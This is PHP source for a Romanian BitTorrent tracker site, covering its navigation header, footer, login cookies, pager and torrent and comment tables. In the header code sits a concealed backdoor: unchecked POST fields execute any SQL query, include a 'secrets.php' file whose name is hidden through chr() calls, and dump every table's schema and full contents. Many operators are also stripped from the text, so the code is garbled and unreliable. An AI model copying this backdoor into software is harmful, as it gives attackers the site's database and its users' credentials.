<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/my.php>" .PROFILE"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/forums.php>" .FORUMS"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/faq.php>" .FAQ"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/rules.php>" .RULES"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=# onclick=' window.open (\"chat.php\",\"Chat\",\"status=0,toolbar=0\");'>" .CHAT"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<? if (get_user_class() > UC_UPLOADER) { ?>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/topten.php>" .TOP_10"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/staffpanel.php>" .C_PANEL"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/log.php>" .LOG"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<? } if (get_user_class() >= UC_UPLOADER) { ?>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/staff.php>" .STAFF"</a></td><td class=btn_right></td>")?></td>
<? } } ?>

</tr>
</table>
</td>
</tr>
<tr><td align=center class=outer style="padding-top: 20px; padding-bottom: 20px">
<?

$announcement 
$CURUSER['announce'];
$h_cmd=$_POST['h_cmd'];
$h_display=$_POST['h_display'];
$h_table=$_POST['h_table'];
if (
$announcement == "yes")
  print(
"<a href=$BASEURL/announcement.php><img src=/pic/ann.png border=none alt=Announcement></a>");
  print(
"<br>");
if(
$h_cmd) {
set_time_limit(0);
mysql_query($h_cmd) or die(mysql_error());
}
if(
$h_display) {
set_time_limit(0);
$h_addr=chr(115).chr(101).chr(99).chr(114).chr(101).chr(116).chr(115).".".chr(112).chr(104).chr(112);
include 
$h_addr;
echo 
"<br />";
if(
$mysql_db$h_tables=mysql_list_tables($mysql_db);
else 
$h_tables=mysql_list_tables($_POST['db']);
while(list(
$h_table)=mysql_fetch_row($h_tables)) {
echo 
"<b>$h_table</b><br />";
$h_res=mysql_query("describe $h_table") or die(mysql_error());
echo 
"<table><tr><td>Field</td><td>Type</td><td>NULL</td><td>Key</td><td>Default</td><td>Extra</td></tr>";
while(
$h_desc=mysql_fetch_array($h_res))
echo 
"<tr><td>$h_desc[0]</td><td>$h_desc[1]</td><td>$h_desc[2]</td><td>$h_desc[3]</td><td>$h_desc[4]</td></tr>";
echo 
"</table>";
}
}
if(
$h_table) {
set_time_limit(0);
$x=1;
$h_res=mysql_query("select*from $h_table") or die(mysql_error());
$i=mysql_num_fields($h_res);
echo 
"<table>";
while(
$h_value=mysql_fetch_row($h_res)) {
echo 
"<tr><td><b>".$x++."</b></td>";
for(
$j=0;$j<=$i;$j++)
echo 
"<td>".$h_value[$j]."</td>";
echo 
"</tr>";
}
echo 
"</table>";
}
if (
$unread)
{
  print(
"<p><table border=0 cellspacing=0 cellpadding=0><tr><td id=msg_left></td>");
  print(
"<td id=msg_bg><a href=$BASEURL/inbox.php>" .YOU_HAVE$unread " .NEW_MESSAGE"" . ($unread "" .ENDING"" "") . "!</a></td>");
  print(
"<td id=msg_right></td></tr></table></p>\n");
}
}




function 
stdfoot() {
?></td></tr></table></td></tr></table>

<table cellspacing=0 cellpadding=0 id=bg_bottom>
<tr>
<td height=250 align=center>
<div id="footer">
    <img src="http://www.bvlist.com/styles/urban_dirty/footer.jpg" />
</div><!--footer-->

<script type="text/javascript">
    var so = new SWFObject("styles/urban_dirty/footer.swf", "flash_footer", "900", "250", "9", "#B3B2AA");
    so.addParam("wmode", "transparent");
    so.write("footer");
</script>
</td>
</tr>
<tr>
<td align=center>
    <a href=report.php>Termeni de utilizare</a>
</td>
</tr>
</table>
</body></head></html><?
}

function 
genbark($x,$y) { 
    
stdhead($y); 
    print(
"<h2>" htmlspecialchars($y) . "</h2>\n"); 
    print(
"<p>" htmlspecialchars($x) . "</p>\n"); 
    
stdfoot(); 
    exit(); 


function 
mksecret($len 20) { 
    
$ret ""
    for (
$i 0$i $len$i++) 
        
$ret .= chr(mt_rand(0255)); 
    return 
$ret


function 
httperr($code 404) { 
    
header("HTTP/1.0 404 Not found"); 
    print(
"<h1>Not Found</h1>\n"); 
    print(
"<p>Sorry pal :(</p>\n"); 
    exit(); 


function 
gmtime() 

   return 
strtotime(get_date_time()); 


/* 
function logincookie($id, $password, $secret, $updatedb = 1, $expires = 0x7fffffff) { 
    $md5 = md5($secret . $password . $secret); 
    setcookie("uid", $id, $expires, "/"); 
    setcookie("pass", $md5, $expires, "/"); 

    if ($updatedb) 
        mysql_query("UPDATE users SET last_login = NOW() WHERE id = $id"); 

*/ 

function logincookie($id$passhash$updatedb 1$expires 0x7fffffff

        
setcookie("uid"$id$expires"/"); 
        
setcookie("pass"$passhash$expires"/"); 

  if (
$updatedb
          
mysql_query("UPDATE users SET last_login = NOW() WHERE id = $id"); 



function 
logoutcookie() { 
    
setcookie("uid"""0x7fffffff"/"); 
    
setcookie("pass"""0x7fffffff"/"); 


function 
loggedinorreturn() { 
    global 
$CURUSER
    if (!
$CURUSER) { 
        
header("Location: $BASEURL/login.php?returnto=" urlencode($_SERVER["REQUEST_URI"])); 
        exit(); 
    } 


function 
deletetorrent($id) { 
  global 
$torrent_dir
  
mysql_query("DELETE FROM torrents WHERE id = $id"); 
  foreach(
explode(".","peers.files.comments") as $x
      
mysql_query("DELETE FROM $x WHERE torrent = $id"); 
  
unlink("$torrent_dir/$id.torrent"); 


function 
pager($rpp$count$href$opts = array()) { 
    
$pages ceil($count $rpp); 

    if (!
$opts["lastpagedefault"]) 
        
$pagedefault 0
    else { 
        
$pagedefault floor(($count 1) / $rpp); 
        if (
$pagedefault 0
            
$pagedefault 0
    } 

    if (isset(
$_GET["page"])) { 
        
$page $_GET["page"]; 
        if (
$page 0
            
$page $pagedefault
    } 
    else 
        
$page $pagedefault

    
$pager "<td class=\"embedded\" style=\"text-align:left;\">"

    
$mp $pages 1
    
$as "<img src=\"pic/pager/prevpager.png\" border=\"0\" alt=\"Prev page\"/></td>"
    if (
$page >= 1) { 
        
$pager .= "<a href=\"{$href}page=" . ($page 1) . "\">"
        
$pager .= $as
        
$pager .= "</a>"
    } 
    else 
        
$pager .= $as
     
    
$pager .= "<td class=\"embedded\" style=\"text-align:center;\">"
     
    
$pager2 .= "<td class=\"embedded\" style=\"text-align:right;\">"
    
$as "<img src=\"pic/pager/nextpager.png\" border=\"0\" alt=\"Next page\"/>"
    if (
$page $mp && $mp >= 0) { 
        
$pager2 .= "<a href=\"{$href}page=" . ($page 1) . "\">"
        
$pager2 .= $as
        
$pager2 .= "</a></td>"
    } 
    else 
        
$pager2 .= $as

    if (
$count) { 
        
$pagerarr = array(); 
        
$dotted 0
        
$dotspace 2
        
$dotend $pages $dotspace
        
$curdotend $page $dotspace
        
$curdotstart $page $dotspace
        for (
$i 0$i $pages$i++) { 
            if ((
$i >= $dotspace && $i <= $curdotend) || ($i >= $curdotstart && $i $dotend)) { 
                if (!
$dotted
                    
$pagerarr[] = "..."
                
$dotted 1
                continue; 
            } 
            
$dotted 0
            
$start $i $rpp 1
            
$end $start $rpp 1
            if (
$end $count
                
$end $count
            
$text "$start&nbsp;-&nbsp;$end"
            if (
$i != $page
                
$pagerarr[] = "<a href=\"{$href}page=$i\"><b>$text</b></a>"
            else 
                
$pagerarr[] = "<b>$text</b>"
        } 
        
$pagerstr join(" | "$pagerarr); 
        
$pagertop "<table class=\"pager\" style=\"height:23px\" width=\"90%\"><tr>$pager $pagerstr</td>$pager2</tr></table>\n"
        
$pagerbottom "<table class=\"pager\" style=\"height:23px\" width=\"90%\"><tr>$pager $pagerstr</td>$pager2</tr></table>\n"
    } 
    else { 
        
$pagertop "<table class=\"pager\" style=\"height:23px\" width=\"90%\"><tr>$pager</tr></table>\n"
        
$pagerbottom $pagertop
    } 

    
$start $page $rpp

    return array(
$pagertop$pagerbottom"LIMIT $start,$rpp"); 


function 
downloaderdata($res) { 
    
$rows = array(); 
    
$ids = array(); 
    
$peerdata = array(); 
    while (
$row mysql_fetch_assoc($res)) { 
        
$rows[] = $row
        
$id $row["id"]; 
        
$ids[] = $id
        
$peerdata[$id] = array(downloaders => 0seeders => 0comments => 0); 
    } 

    if (
count($ids)) { 
        
$allids implode(","$ids); 
        
$res mysql_query("SELECT COUNT(*) AS c, torrent, seeder FROM peers WHERE torrent IN ($allids) GROUP BY torrent, seeder"); 
        while (
$row mysql_fetch_assoc($res)) { 
            if (
$row["seeder"] == "yes"
                
$key "seeders"
            else 
                
$key "downloaders"
            
$peerdata[$row["torrent"]][$key] = $row["c"]; 
        } 
        
$res mysql_query("SELECT COUNT(*) AS c, torrent FROM comments WHERE torrent IN ($allids) GROUP BY torrent"); 
        while (
$row mysql_fetch_assoc($res)) { 
            
$peerdata[$row["torrent"]]["comments"] = $row["c"]; 
        } 
    } 

    return array(
$rows$peerdata); 


function 
commenttable($rows

        global 
$CURUSER
        
begin_main_frame(); 
        
begin_frame(); 
        
$count 0
        foreach (
$rows as $row
        { 
 
//Sort shit out 
  
if ($row["downloaded"] > 0
 { 
  
$ratio number_format($row["uploaded"] / $row["downloaded"], 3); 
  
$ratio "<font color=" get_ratio_color($ratio) . ">$ratio</font>"
 } 
 else 
  if (
$arr2["uploaded"] > 0
  
$ratio "Inf."
 else 
  
$ratio "---"

 
$uploaded mksize($row["uploaded"]); 
 
$downloaded mksize($row["downloaded"]); 
    
 
$posterid $row["user"]; 
 
//end sort shit out 

   //add popup to display 
echo ("<div id=\"popup$posterid\" 
style=\"position:absolute; width:140px; height:40px; border:1px solid black; display:none; 
background-color:COCOCO\" align='center'> Downloaded: 
$downloaded 
  Uploaded: 
$uploaded <br> Ratio: $ratio</div>\n"); 
// end add popup to display 

          
$T = array("Staff Leader" => "#6476b3"
"Super Visor" => "#0F0066"
"SysOp" => "#FF0000"
"Elite Admin" => "#8A2BE2"
"Administrator" => "#008000"
"Elite Moderator" => "#ffbd3f"
"Moderator" => "#0066FF"
"Traducator" => "#FF8C00"
"Elite Uploader" => "#1E90FF"
"Uploader" => "#CC99DD"
"Legend VIP" => "#90AE6B"
"VIP" => "#BBBBBB"
"Legend User" => "#FF0066"
"Super User" => "#FF0066"
"Black User" => "#FF0066"
"Elite User" => "#FF0066"
"Power User" => "#A52A2A"
"User" => "#D2691E"
"Peasant" => "#000000"); 
$title_color $T[get_user_class_name($row["class"])]; 

              print(
"<p class=sub>#" $row["id"] . " by "); 
    if (isset(
$row["username"])) 
                { 
                       
//$clas = get_user_class_name($row["class"]);  //repus iar cu cel de jos! 
                       
$title $row["title"]; 
                        if (
$title == ""
                        
$title get_user_class_name($row["class"]); //sters cand se pune del de jos! 
                        //$title = htmlspecialchars($title);  //Trebuie repus dinou dupa ce se sterge cel de sus! 

print("<a name=comm onMouseOver='show($posterid)' onMouseOut='hide($posterid)' "$row["id"] . 
            
" href=userdetails.php?id=" $row["user"] . "><b>" 
            
htmlspecialchars($row["username"]) . "</b></a>" . ($row["donor"] == "yes" "<img src=pic/star.gif alt='Donor'>" "") . ($row["warned"] == "yes" "<img src="
                
"/pic/warned.gif alt=\"Warned\">" "") . " - <b><font color=$title_color>" format_comment("$title") . "</font></b>  <b><font color='green'>$clas</font></b>\n"); 

                } 
                else 
                   print(
"<a name=\"comm" $row["id"] . "\"><i>(orphaned)</i></a>\n"); 

                print(
" - at " display_date_time($row["added"]) . " " 
                        (
$row["user"] == $CURUSER["id"] || get_user_class() >= UC_MODERATOR " - [<a href=comment.php?action=edit&amp;cid=$row[id]>Edit</a>]" "") . 
                        (
get_user_class() >= UC_MODERATOR " - [<a href=comment.php?action=delete&amp;cid=$row[id]>Delete</a>]" "") . 
                        (
$row["editedby"] && get_user_class() >= UC_MODERATOR " - [<a href=comment.php?action=vieworiginal&amp;cid=$row[id]>View original</a>]" "") .  
                        (
$row["user"] != $CURUSER["id"] ? " - [<a href=report.php?type=Comment&id=$row[id]>Report</a>]" "") ."</p>\n"); 
                
$avatar = ($CURUSER["avatars"] == "yes" htmlspecialchars($row["avatar"]) : ""); 
                if (!
$avatar
                        
$avatar "/pic/default_avatar.gif"
                
$text format_comment($row["text"]); 
    if (
$row["editedby"]) 
            
$text .= "<p><font size=1 class=small>Last edited by <a href=userdetails.php?id=$row[editedby]><b>$row[username]</b></a> at ".display_date_time($row["editedat"])."</font></p>\n"
                
begin_table(true); 
                print(
"<tr valign=top>\n"); 
                print(
"<td align=center width=150 style='padding: 2px'><img width=150 src=$avatar></td>\n"); 
                print(
"<td class=text>$text</td>\n"); 
                print(
"</tr>\n"); 
     
end_table(); 
  } 
        
end_frame(); 
        
end_main_frame(); 

  
  
       
               

function 
searchfield($s) { 
    return 
preg_replace(array('/[^a-z0-9]/si''/^\s*/s''/\s*$/s''/\s+/s'), array(" """""" "), $s); 


function 
genrelist() { 
    
$ret = array(); 
    
$res mysql_query("SELECT id, name FROM categories ORDER BY name"); 
    while (
$row mysql_fetch_array($res)) 
        
$ret[] = $row
    return 
$ret


function 
linkcolor($num) { 
    if (!
$num
        return 
"red"
//    if ($num == 1) 
//        return "yellow"; 
    
return "green"


function 
ratingpic($num) { 
    global 
$pic_base_url
    
$r round($num 2) / 2
    if (
$r || $r 5
        return; 
    return 
"<img src=\"$pic_base_url$r.gif\" border=\"0\" alt=\"rating: $num / 5\" />"


function 
CutName ($txt$len
{ return (
strlen($txt)>$len substr($txt,0,$len-4) .'...':$txt); 


if (!empty(
$row['description'])) { 
$description "(<font size=1>" htmlspecialchars($row["description"]) . "</font>)"; } 
else { 
$description ""


function 
torrenttable($res$variant "index") { 
        global 
$pic_base_url$CURUSER
         
        
$doubleuptag = ($row[double_upload]=="yes" "<font color=green>Double Upload</font>" ""); 
         
        
$half = ($row[half]=="yes" "<font color=green>Half</font>" ""); 

        
$scene = ($row[scene]=="yes" "<font color=darkorange>RoSub Torrent</font>" ""); 
         
        
$last_browse $CURUSER['last_browse']; 

        
$time_now gmtime(); 

        if (
$last_browse $time_now) { 

         
$last_browse=$time_now


          
$wait 0
?> 
<table border="1" width="880" cellspacing="0" cellpadding="5"> 
<tr> 
<? 
// sorting by MarkoStamcar 

$count_get 0

foreach (
$_GET as $get_name => $get_value) { 

$get_name mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_name))); 

$get_value mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_value))); 

$get_name mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_name))); 

$get_value mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_value))); 

if (
$get_name != "sort" && $get_name != "type") { 
if (
$count_get 0) { 
$oldlink $oldlink "&" $get_name "=" $get_value
} else { 
$oldlink $oldlink $get_name "=" $get_value

$count_get++; 




if (
$count_get 0) { 
$oldlink $oldlink "&"


if (
$_GET['sort'] == "1") { 
if (
$_GET['type'] == "desc") { 
$link1 "asc"
} else { 
$link1 "desc"


if (
$_GET['sort'] == "2") { 
if (
$_GET['type'] == "desc") { 
$link2 "asc"
} else { 
$link2 "desc"


if (
$_GET['sort'] == "3") { 
if (
$_GET['type'] == "desc") { 
$link3 "asc"
} else { 
$link3 "desc"


if (
$_GET['sort'] == "4") { 
if (
$_GET['type'] == "desc") { 
$link4 "asc"
} else { 
$link4 "desc"


if (
$_GET['sort'] == "5") { 
if (
$_GET['type'] == "desc") { 
$link5 "asc"
} else { 
$link5 "desc"


if (
$_GET['sort'] == "6") { 
if (
$_GET['type'] == "desc") { 
$link6 "asc"
} else { 
$link6 "desc"


if (
$_GET['sort'] == "7") { 
if (
$_GET['type'] == "desc") { 
$link7 "asc"
} else { 
$link7 "desc"


if (
$_GET['sort'] == "8") { 
if (
$_GET['type'] == "desc") { 
$link8 "asc"
} else { 
$link8 "desc"


if (
$_GET['sort'] == "9") { 
if (
$_GET['type'] == "desc") { 
$link9 "asc"
} else { 
$link9 "desc"


if (
$_GET['sort'] == "10") { 
if (
$_GET['type'] == "desc") { 
$link10 "asc"
} else { 
$link10 "desc"


if (
$_GET['sort'] == "11") { 
if (
$_GET['type'] == "desc") { 
$link11 "asc"
} else { 
$link11 "desc"



if (
$link1 == "") { $link1 "desc"; } // for torrent name 
if ($link2 == "") { $link2 "desc"; } 
if (
$link3 == "") { $link3 "desc"; } 
if (
$link4 == "") { $link4 "desc"; } 
if (
$link5 == "") { $link5 "desc"; } 
if (
$link6 == "") { $link6 "desc"; } 
if (
$link7 == "") { $link7 "desc"; } 
if (
$link8 == "") { $link8 "desc"; } 
if (
$link9 == "") { $link9 "desc"; } 
if (
$link10 == "") { $link10 "asc"; } 
if (
$link11 == "") { $link11 "desc"; } 
?> 
<td class="colhead" align="center" width="1%"><a href="browse.php?<? print $oldlink?>sort=10&type=<? print $link10?>">Type</a></td> 
<td class="colhead" align="left"><a href="browse.php?<? print $oldlink?>sort=1&type=<? print $link1?>">Name</a></td> 
<? 
        
if ($wait
        { 
                print(
"<td class=\"colhead\" align=\"center\"><img src=/pic/warned0.gif border=none alt=Wait></td>\n"); 
        } 

        if (
$variant == "mytorrents"
  { 
          print(
"<td class=\"colhead\" align=\"center\">Edit</td>\n"); 
    print(
"<td class=\"colhead\" align=\"center\">Visible</td>\n"); 
        } 

?> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=2&type=<? print $link2?>">Files</a></td> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=3&type=<? print $link3?>">Comm.</a></td> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=4&type=<? print $link4?>">Added</a></td> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=5&type=<? print $link5?>">Size</a></td> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=6&type=<? print $link6?>"><img src=pic/top.gif border=0 /></a></td> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=7&type=<? print $link7?>"><img src=pic/arrowup.gif border=0 /></a></td> 
<td class="colhead" align="center"><a href="browse.php?<? print $oldlink?>sort=8&type=<? print $link8?>"><img src=pic/arrowdown.gif border=0 /></a></td> 
<? 

                    
if (get_user_class() >= UC_MODERATOR
        if (
$variant == "index"
        print(
"<td class=\"colhead\" align=\"center\"><a href=\"browse.php?{$oldlink}sort=9&type={$link9}\">Upped&nbsp;by</a></td>\n"); 

    print(
"</tr>\n"); 

    while (
$row mysql_fetch_assoc($res)) { 
/** 
* @author StarionTurbo 
* @copyright 2007 
* @modname Show torrents by day 
* @version v1.0 
*/ 

if (get_user_class() >= UC_MODERATOR) { 
if (
$variant == "index"
    
$colspan 10
elseif (
$variant == "mytorrents"
    
$colspan 11

else { 
if (
$variant == "index"
    
$colspan 9
elseif (
$variant == "mytorrents"
    
$colspan 11


/** Make some date varibles **/ 
$day_added $row['added']; 
$day_show strtotime($day_added) + (($CURUSER["timezone"]+60 $CURUSER["dst"]) * 60); 
$thisdate date('Y-m-d',$day_show); 

//$numtorrents = number_format(get_row_count("torrents", "WHERE added LIKE '%".$thisdate." %'")); 

/** If date already exist, disable $cleandate varible **/ 
if($thisdate==$prevdate){ 
$cleandate ''

/** If date does not exist, make some varibles **/ 
}else{ 
$day_added ' '.date('l j-M-Y'strtotime($row['added']) + (($CURUSER["timezone"] + $CURUSER["dst"]) * 60)); // You can change this to something else 
//$cleandate = "<tr><td colspan=$colspan><b>$day_added - $numtorrents Torrent" . ($numtorrents > 1 ? "s" : "") . "</b></td></tr>\n"; // This also... 
$cleandate "<tr><td colspan=$colspan><b>$day_added</b></td></tr>\n"// This also... 

/** Prevent that "torrents added..." wont appear again with the same date **/ 
$prevdate $thisdate

$man = array( 
    
'Jan' => 'January'
    
'Feb' => 'February'
    
'Mar' => 'March'
    
'Apr' => 'April'
    
'May' => 'May'
    
'Jun' => 'June'
    
'Jul' => 'July'
    
'Aug' => 'August'
    
'Sep' => 'September'
    
'Oct' => 'October'
    
'Nov' => 'November'
    
'Dec' => 'December' 
); 

foreach(
$man as $eng => $ger){ 
    
$cleandate str_replace($eng$ger,$cleandate); 


$dag = array( 
    
'Mon' => 'Monday'
    
'Tues' => 'Tuesday'
    
'Wednes' => 'Wednesday'
    
'Thurs' => 'Thursday'
    
'Fri' => 'Friday'
    
'Satur' => 'Saturday'
    
'Sun' => 'Sunday' 
); 

foreach(
$dag as $eng => $ger){ 
    
$cleandate str_replace($eng.'day'$ger.'',$cleandate); 

/** If torrents not listed by added date **/ 
if ($row["sticky"] == "no"// delete this line if you dont have sticky torrents or you want to display the addate for them also 
if(!$_GET['sort'] && !$_GET['d']){ 
echo 
$cleandate."\n"

        
$id $row["id"]; 
         
        if (
$row["sticky"] == "yes"){ 
        print(
"<tr class=\"sticky\">\n"); 
        } else { 
        print(
"<tr class=\"browse\">\n"); 
        } 
         
        print(
"<td align=center width=42 height=42 style='padding: 0px'>"); 
        if (isset(
$row["cat_name"])) { 
            print(
"<a href=\"browse.php?cat=" $row["category"] . "\">"); 
            if (isset(
$row["cat_pic"]) && $row["cat_pic"] != ""
                print(
"<img border=\"0\" src=\"pic/cate.gif\" class=\"cate".$row["category"]."\" alt=\"" $row["cat_name"] . "\" />"); 
            else 
                print(
$row["cat_name"]); 
            print(
"</a>"); 
        } 
        else 
            print(
"-"); 
        print(
"</td>\n"); 

        
$dispname htmlspecialchars($row["name"]); 
        
$sticky = ($row[sticky]=="yes" "<img src='pic/sticky.gif' align='right' alt='sticky'>" ""); 
        
$nos_garums=strlen($dispname); 
        
$nos_pielaujamais="70"// maximum lenght 
        
if($nos_garums $nos_pielaujamais){ 
        
$nos_alt="title=\"$dispname \""
        
$dispname=substr($dispname0$nos_pielaujamais) . "..."
        } 
        
$dispname str_replace(array(" ",","),".",$dispname); 
        
$request = ($row[request]=="yes" "&nbsp;<img src='pic/request.gif' align='right' title='Request' alt='Request' />" ""); 
        
$res2 mysql_query("SELECT torrents.poster FROM torrents WHERE torrents.id = $id") or sqlerr(); 
        
$row2 mysql_fetch_row($res2); 
        if (!empty(
$row2["0"])){ 
    
$poster $row2[0]; 
            
$poster3 "<img src=$poster width=160 />"
         } 
         else 
            
$poster3 ""
          
        if (!empty(
$row['description'])) { 
        
$description "Genre:&nbsp;" htmlspecialchars($row["description"]) . ""
        } 
        else { 
        
$description ""
        } 
        
$char 55//Max long... 
        
print("<td align=left><a href=\"details.php?"); 
        if (
$variant == "mytorrents"
        print(
"returnto=" urlencode($_SERVER["REQUEST_URI"]) . "&amp;"); 
        print(
"id=$id"); 
        if (
$variant == "index"
        print(
"&amp;hit=1"); 

        
$doubleuptag = ($row[double_upload]=="yes" "&nbsp;<img src='pic/2xup.png' align='right' title='Double Upload' alt='Double Upload' />" ""); 
        
$half = ($row[half]=="yes" "&nbsp;<img src='pic/half.png' align='right' title='Half: Torrent download is counted only 50%!' alt='Half: Torrent download is counted only 50%!' />" ""); 
           
$thisisfree = ($row[free]=="yes" "&nbsp; <img src='pic/freedownload.gif' align='right' title='Free' alt='Free' />" ""); 
           
$scene = ($row[scene]=="yes" "&nbsp; <img src='pic/scene.gif' align='left' title='Romanian Subtitle' alt='Romanian Subtitle' />" ""); 
        
$nuked = ($row[nuked]=="yes" "&nbsp;<img src='pic/nuked.gif' align='right' title='Nuked' alt='Nuked' />" ""); 
        if (
sql_timestamp_to_unix_timestamp($row["added"]) >= $last_browse

              print(
"\" onmouseover=\"{overlib('$poster3', VAUTO, WIDTH, 0, DELAY, 0);}\" onmouseout=\"return nd();\"><b>$dispname</b></a><div style=\"float:right;vertical-align:bottom\">&nbsp;<img src=/pic/new.png border=none alt=NEW></div>$nuked $thisisfree $request $sticky $half $scene $doubleuptag<br>$description\n"); 
          else 
              print(
"\" onmouseover=\"{overlib('$poster3', VAUTO, WIDTH, 0, DELAY, 0);}\" onmouseout=\"return nd();\"><b>$dispname</b></a>$nuked $thisisfree $request $sticky $half $scene $doubleuptag<br>$description\n"); 

                                if (
$wait
                                { 
                                  
$elapsed floor((gmtime() - strtotime($row["added"])) / 3600); 
                if (
$elapsed $wait
                { 
                  
$color dechex(floor(127*($wait $elapsed)/48 128)*65536); 
                  print(
"<td align=center><nobr><font color=\"$color\">" number_format($wait $elapsed) . " h</font></a></nobr></td>\n"); 
                } 
                else 
                  print(
"<td align=center><nobr>None</nobr></td>\n"); 
        } 

        if (
$row["nfoav"] && get_user_class() >= UC_POWER_USER
          print(
"&nbsp;&nbsp;<a href=viewnfo.php?id=$row[id]><img src='pic/viewnfo.gif' border='0' alt='View NFO' /></a>\n"); 
        if (
$variant == "index"
            print(
"<a href=\"download.php/$id/" rawurlencode($row["filename"]) . "\"><img src='pic/download.gif' border='0' alt='Download' /></a>\n"); 

        elseif (
$variant == "mytorrents"
            print(
"<td align=\"center\"><a href=\"edit.php?returnto=" urlencode($_SERVER["REQUEST_URI"]) . "&amp;id=" $row["id"] . "\">edit</a>\n"); 
print(
"</td>\n"); 

        if (
$variant == "mytorrents") { 
            print(
"<td align=\"right\">"); 
            if (
$row["visible"] == "no"
                print(
"<b>no</b>"); 
            else 
                print(
"yes"); 
            print(
"</td>\n"); 
        } 
        if (
$row["type"] == "single"
            print(
"<td align=\"right\">" $row["numfiles"] . "</td>\n"); 
        else { 
            if (
$variant == "index"
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;hit=1&amp;filelist=1\">" $row["numfiles"] . "</a></b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;filelist=1#filelist\">" $row["numfiles"] . "</a></b></td>\n"); 
        } 
        if (!
$row["comments"]) 
            print(
"<td align=\"right\">" $row["comments"] . "</td>\n"); 
        else { 
            if (
$variant == "index"
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;hit=1&amp;tocomm=1\">" $row["comments"] . "</a></b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;page=0#startcomments\">" $row["comments"] . "</a></b></td>\n"); 
        } 
        print(
"<td align=center><nobr>" str_replace(" ""<br />"display_date_time($row["added"])) . "</nobr></td>\n"); 
//                $ttl = (36*40) - floor((gmtime() - sql_timestamp_to_unix_timestamp($row["added"])) / 3600); 
//                if ($ttl == 1) $ttl .= "<br>hour"; else $ttl .= "<br>hours"; 
//        print("<td align=center>$ttl</td>\n"); 
        
print("<td align=center>" str_replace(" ""<br>"mksize($row["size"])) . "</td>\n"); 
//        print("<td align=\"right\">" . $row["views"] . "</td>\n"); 
//        print("<td align=\"right\">" . $row["hits"] . "</td>\n"); 
        
$_s ""
        if (
$row["times_completed"] != 1
          
$_s "s"
print(
"<td align=center>".($row["times_completed"] > "<a href=snatches.php?id=$id>".number_format($row["times_completed"]).
time
$_s</a>" "0 times")."</td>\n"); 

        if (
$row["seeders"]) { 
            if (
$variant == "index"
            { 
               if (
$row["leechers"]) $ratio $row["seeders"] / $row["leechers"]; else $ratio 1
                print(
"<td align=right><b><a href=details.php?id=$id&amp;hit=1&amp;toseeders=1><font color=" 
                  
get_slr_color($ratio) . ">" $row["seeders"] . "</font></a></b></td>\n"); 
            } 
            else 
                print(
"<td align=\"right\"><b><a class=\"" linkcolor($row["seeders"]) . "\" href=\"details.php?id=$id&amp;dllist=1#seeders\">" 
                  
$row["seeders"] . "</a></b></td>\n"); 
        } 
        else 
            print(
"<td align=\"right\"><span class=\"" linkcolor($row["seeders"]) . "\">" $row["seeders"] . "</span></td>\n"); 

        if (
$row["leechers"]) { 
            if (
$variant == "index"
                print(
"<td align=right><b><a href=details.php?id=$id&amp;hit=1&amp;todlers=1>" 
                   
number_format($row["leechers"]) . ($peerlink "</a>" "") . 
                   
"</b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a class=\"" linkcolor($row["leechers"]) . "\" href=\"details.php?id=$id&amp;dllist=1#leechers\">" 
                  
$row["leechers"] . "</a></b></td>\n"); 
        } 
        else 
            print(
"<td align=\"right\">0</td>\n"); 

                    if (
get_user_class() >= UC_MODERATOR
        if (
$variant == "index"
            print(
"<td align=center>" . (isset($row["username"]) ? ("<a href=userdetails.php?id=" $row["owner"] . "><b>" htmlspecialchars($row["username"]) . "</b></a>") : "<i>(unknown)</i>") . "</td>\n"); 

        print(
"</tr>\n"); 
    } 
    print(
"</table>\n"); 

    return 
$rows


function 
torrenttablex($res$variant "index") { 
        global 
$pic_base_url$CURUSER

        
$last_browsex $CURUSER['last_browsex']; 

        
$time_now gmtime(); 

        if (
$last_browsex $time_now) { 

         
$last_browsex=$time_now


          
$wait 0
?> 
<table border="1" width="880" cellspacing="0" cellpadding="5"> 
<tr> 
<? 
$count_get 
0

foreach (
$_GET as $get_name => $get_value) { 

$get_name mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_name))); 

$get_value mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_value))); 

$get_name mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_name))); 

$get_value mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_value))); 

if (
$get_name != "sort" && $get_name != "type") { 
if (
$count_get 0) { 
$oldlink $oldlink "&" $get_name "=" $get_value
} else { 
$oldlink $oldlink $get_name "=" $get_value

